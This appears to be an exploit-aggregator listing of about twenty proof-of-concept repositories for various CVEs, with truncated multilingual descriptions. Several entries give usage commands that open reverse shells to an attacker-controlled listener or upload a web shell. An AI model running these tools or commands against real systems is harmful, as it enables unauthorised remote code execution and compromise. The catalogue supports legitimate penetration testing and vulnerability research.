CVE-2020-0796

CVE-2020-0796 可用的漏洞利用 PoC（CVE-2020-0796）— 反向绑定 Shell 已在 Python 2.7 上测试 安装： pip install -r requirements.txt 运行： python CVE-2020-0796-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2026-33017-Exploit

Fireflow RCE Exploit Ejecución remota de código para Langflow a través del endpoint buildpublictmp. Explotación a través del endpoint público de construcción de flujo que ejecuta una reverse shell en el objetivo. Requisitos Python 3.8+ Biblioteca httpx Instalación: root@kitploit: pip install http...

CVE-2025-31644

CVE-2025-31644：F5 BIG-IP 设备模式下的命令注入 "save" 命令的 "file" 参数存在命令注入漏洞，拥有 "/mgmt" Web API 或 SSH "tmsh" shell 管理员权限的认证攻击者可利用该漏洞，在目标系统上以 "root" 用户身份获得远程代码执行能力。 注意： 仅当 BIG-IP 以设备模式运行时，此发现才被视为漏洞，因为这可能允许具有管理员角色的认证攻击者绕过设备模式的安全机制，而该机制原本会阻止任意高级 Shell（bash）命令的执行。 厂商披露： 有关此漏洞的厂商披露和修复方案，请参见此处。 要求： 此漏洞需要： 有效的用户凭据...

xwiki-15.10.8-reverse-shell-cve-2025-24893

CVE-2025-24893 XWiki 反向 Shell 利用脚本 免责声明： 此脚本仅用于教育目的和授权的安全测试 。请勿 在您不拥有或未经明确许可的系统上使用。滥用可能导致非法和危险后果。 描述 该 Python 脚本利用 CVE-2025-24893 ，这是一个影响 XWiki 版本直至 15.10.10 的远程代码执行漏洞。 测试版本： XWiki 15.10.8 影响： 允许在目标服务器上执行任意命令。 Python 版本： 使用 Python 3 编写和测试 此版本扩展了 Al Baradi Joy 的原始 PoC ，以生成一个反向 Shell 。原始 PoC 可在此处找到...

CVE-2022-37706

CVE-2022-37706 CVE-2022-37706 漏洞与 Enlightenment 窗口管理器有关，具体涉及 enlightenmentsys 二进制文件。该二进制文件启用了 SUID （设置用户ID）位，这意味着它可以以提升的权限（通常是以 root 用户身份）执行。 摘要： 漏洞 ：CVE-2022-37706 是一个本地权限提升漏洞。 组件 ：Enlightenment 窗口管理器中的 enlightenmentsys 二进制文件。 问题 ：攻击者可以利用该 SUID 二进制文件中的不当输入处理或不安全的文件路径操纵。通过构造恶意命令或操纵文件路径，攻击者可以以 roo...

React2Shell

🚀 R2S - Next.js RSC エクスプロイトフレームワーク Next.js React Server Components RCE 向け高度なポストエクスプロイトフレームワーク 機能 • インストール • 使い方 • コマンド • 例 📋 概要 R2S は、Next.js React Server Components の脆弱性 CVE-2025-55182 を標的とした包括的なエクスプロイトおよびポストエクスプロイトフレームワークです。ファイル転送、永続化、列挙、権限昇格チェックなど、ペネトレーションテスト向けの高度な機能を備えたインタラクティブシェルを提供します。 🎯 主な...

cve-2024-31317

CVE-2024-31317 探索 CVE-2024-31317 可让未授权应用访问普通 Android 应用可用的任意 uid 和 SELinux 范围。这提供了对 uid 1000（system）和 uid 2000（shell）的访问权限，并且完全可以由未授权应用触发，从而使得任何使用该漏洞的功能均可持续存在。 说明 SELinux 模拟 Zygote 参数 模拟器设置 适用范围 此漏洞应适用于 Android 9 及以上版本，且安全补丁级别低于 2024 年 6 月安全补丁 的大多数 Android 版本。部分厂商可能已将此更改移植到更早的版本中。具体而言，这意味着 Androi...

CVE-2019-9624

CVE-2019-9624 针对 Webmin 1.9.0 的认证 RCE Webmin 1.900 认证 RCE - CVE-2019-9624 漏洞利用 1. 漏洞描述 CVE-2019-9624 是 Webmin 1.900 及之前版本中的一个认证远程代码执行 RCE 漏洞。它允许管理员用户通过 shell 或 file 模块以 root 权限 执行任意系统命令。 2. 技术执行流程 步骤 1: 认证与会话管理 Webmin 使用自定义认证处理器。要成功进行自动化登录，需要满足以下条件： 测试 Cookie: 必须发送 testing=1 的 Cookie 以满足 Webmin...

pwnacle-fusion

pwnacle-fusion 针对 Oracle Reports 的自动化利用工具，CVE-2012-3153 / CVE-2012-3152 感谢 @misssudo 披露该漏洞 用法：./pwnacle.rb targeturl payloadurl 此利用程序同时使用这两个 CVE，从你的 payloadurl 上传一个 .jsp shell，之后可通过 /reports/images/shell.jsp 访问。 payloadurl 应包含一个 .jsp 载荷，但稍作修改后实际上可以是任何内容。...

xiaomi15-dada-cve-2026-64560

Xiaomi 15（dada）CVE-2026-64560 针对 NebuSec CVE-2026-64560 Android 概念验证的特定设备适配版本，适用于某一精确的 Xiaomi 15 构建版本。它通过仅限 ADB shell 的辅助程序，为当前启动提供临时 root 访问权限。 !WARNING 这是实验性内核漏洞利用代码。它可能导致设备重启、内核状态损坏或数据丢失。请仅在您拥有或明确获授权测试的设备上使用。请先备份重要数据。 支持的目标 属性| 必需值 ---|--- 设备| Xiaomi 15 / dada 指纹|...

CVE-2023-34468

CVE-2023-34468 — Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC 編集可能なApache NiFi ExecuteSQLプロセッサを悪用し、H2のRUNSCRIPTペイロードを使用してBashリバースシェル経由でリモートコマンド実行を誘発する、短いPythonのPoCです。 認可されたテストおよび研究目的のみに使用してください。所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。 動作概要 root@kitploit: ExecuteSQL processor update - H2...

CVE-2026-4480-PoC

CVE-2026-4480-PoC CVE-2026-4480 – Samba 印刷ジョブ名コマンドインジェクション 概要 CVE-2026-4480 は、外部印刷コマンドを使用する特定の Samba 印刷設定に影響を与えるコマンドインジェクションの脆弱性です。 この脆弱性は、Samba がユーザー制御の印刷ジョブメタデータをシェルコマンドに挿入する際に、シェルメタ文字を適切にエスケープしないために発生します。特定の設定では、攻撃者が悪意のある印刷ジョブ名を提供することで、サーバー上で任意のコマンドを実行させることができます。...

CVE-2026-27971_POC

CVE-2026-27971 — Qwik server$ 未认证 RCE PoC !WARNING 本仓库包含一个活跃的远程代码执行概念验证。请仅对您拥有或明确获授权测试的系统使用。作者对未经授权的使用或造成的损害不承担任何责任。 CVE-2026-27971 / GHSA-p9x5-jp3h-96mm 的独立 Python 概念验证，该漏洞是 Qwik server$ RPC 反序列化机制中的一个未认证远程代码执行漏洞。 该 PoC 可执行主动标记探测、执行命令、读取或写入文本文件，并在 Linux 或 Windows 目标上请求反向 Shell。它仅使用 Python 标准库。 漏...

CVE-2024-4157-SSRF-RCE-Reverse-Shell

CVE-2024-4157: Obteniendo Reverse Shell en Havoc C2 - Encadenando SSRF con RCE Obtén reverse-shell con IP y puerto local, encadenando CVE-2024-4157 POC con havocauthrce Uso Información básica root@kitploit: $ python3 exploit.py usage: exploit.py -h -t TARGET -i IP -p PORT -A USERAGENT -H HOSTNAME...

CVE-2009-4623

CVE-2009-4623 CVE-2009-4623 的远程 shell： 获取一个非交互式 shell，再打开另一个 shell 以进行高级使用！！！ 用法：CVE-2009-4623.sh hostnameandPath 示例：CVE-2009-4623.sh http://192.168.1.24/advancedcommentsystem/admin.php 选项： -h 此垃圾...

BlueDoor

BlueDoor CTF 挑战 概述 挑战名称 ：BlueDoor CVE ：CVE-2017-0144（EternalBlue） 难度 ：3/5 类别 ：漏洞利用、Windows 作者 ：Seth Davis BlueDoor 模拟了一个 Windows 7 系统中的真实漏洞（EternalBlue - CVE-2017-0144）。目标是利用该漏洞，提升权限，并检索一个隐藏的标志。 要求 虚拟机软件 ：VMware、VirtualBox 或同等软件 操作系统 ：Windows 7（通过 OVA 文件）和 Kali Linux（或等效的攻击机） 工具...

CVE-2022-42889-text4shell

CVE-2022-42889-text4shell 描述 此脚本是一个渗透测试工具，旨在利用 Apache Commons Text（版本 -param $PARAMETER -L $LHOST -P $LPORT 示例 root@kitploit: python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139 免责声明 此工具仅用于教育目的和经过授权的渗透测试。作者不对因使用此脚本而导致的任何滥用或损害负责。...

CVE-2024-4439

Exploit CVE-2024-4439 此Python脚本演示了针对漏洞CVE-2024-4439 的利用方法。你可以使用此脚本来测试存在漏洞的WordPress站点。 使用方法 开始之前 root@kitploit: git clone https://github.com/soltanali0/CVE-2024-4439.git cd CVE-2024-4439 pip install -r r.txt --break-system-packages 使用以下命令运行脚本： root@kitploit: python3 exploit.py -u...

CVE-2017-9757

Syncbreeze 漏洞利用 用于从 Syncbreeze v10.0.28 获取 shell 的 Shellcode...

bash-4.2-fixed-CVE-2014-6271

介绍 这是GNU Bash 4.2版本。Bash是GNU项目的Bourne Again SHell，是POSIX Shell规范的完整实现，同时还支持交互式命令行编辑、支持架构上的作业控制、类似csh的特性（如历史替换和花括号扩展），以及其他许多特性。有关此类型Shell中Bash新特性的更多信息，请参阅文件doc/bashref.texi。此外还有一份大型的Unix风格手册页。手册页是对Shell功能的权威描述。 关于Bash默认值与POSIX规范的不同之处以及Bash的posix模式的讨论，请参阅POSIX文件。...